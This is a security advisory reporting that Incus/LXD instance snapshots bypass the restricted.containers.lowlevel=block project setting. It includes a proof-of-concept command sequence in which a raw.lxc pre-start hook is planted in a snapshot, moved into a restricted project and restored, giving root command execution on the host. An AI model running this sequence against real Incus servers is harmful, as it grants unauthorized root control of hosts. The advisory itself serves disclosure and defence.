GHSA-47w9-6r3f-938g: LXD has restricted project bypass leading to arbitrary command execution

Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv

Summary

Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.

Details

Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.

As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.

In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.

PoC

remote, restricted incus project set rem:project restricted.true incus project set rem:project restricted.containers.lowlevel=block

locally, unrestricted project incus init images:debian/trixie rce-raw-lxc incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"' incus snapshot create rce-raw-lxc snap0 #> allow transfer to restricted project incus config unset rce-raw-lxc raw.lxc

locally, transfer and trigger incus move rce-raw-lxc rem: --mode push incus snapshot restore rem:rce-raw-lxc snap0 incus start rem:rce-raw-lxc

Impact

- Bypass of project restrictions. - Arbitrary command execution on the Incus server.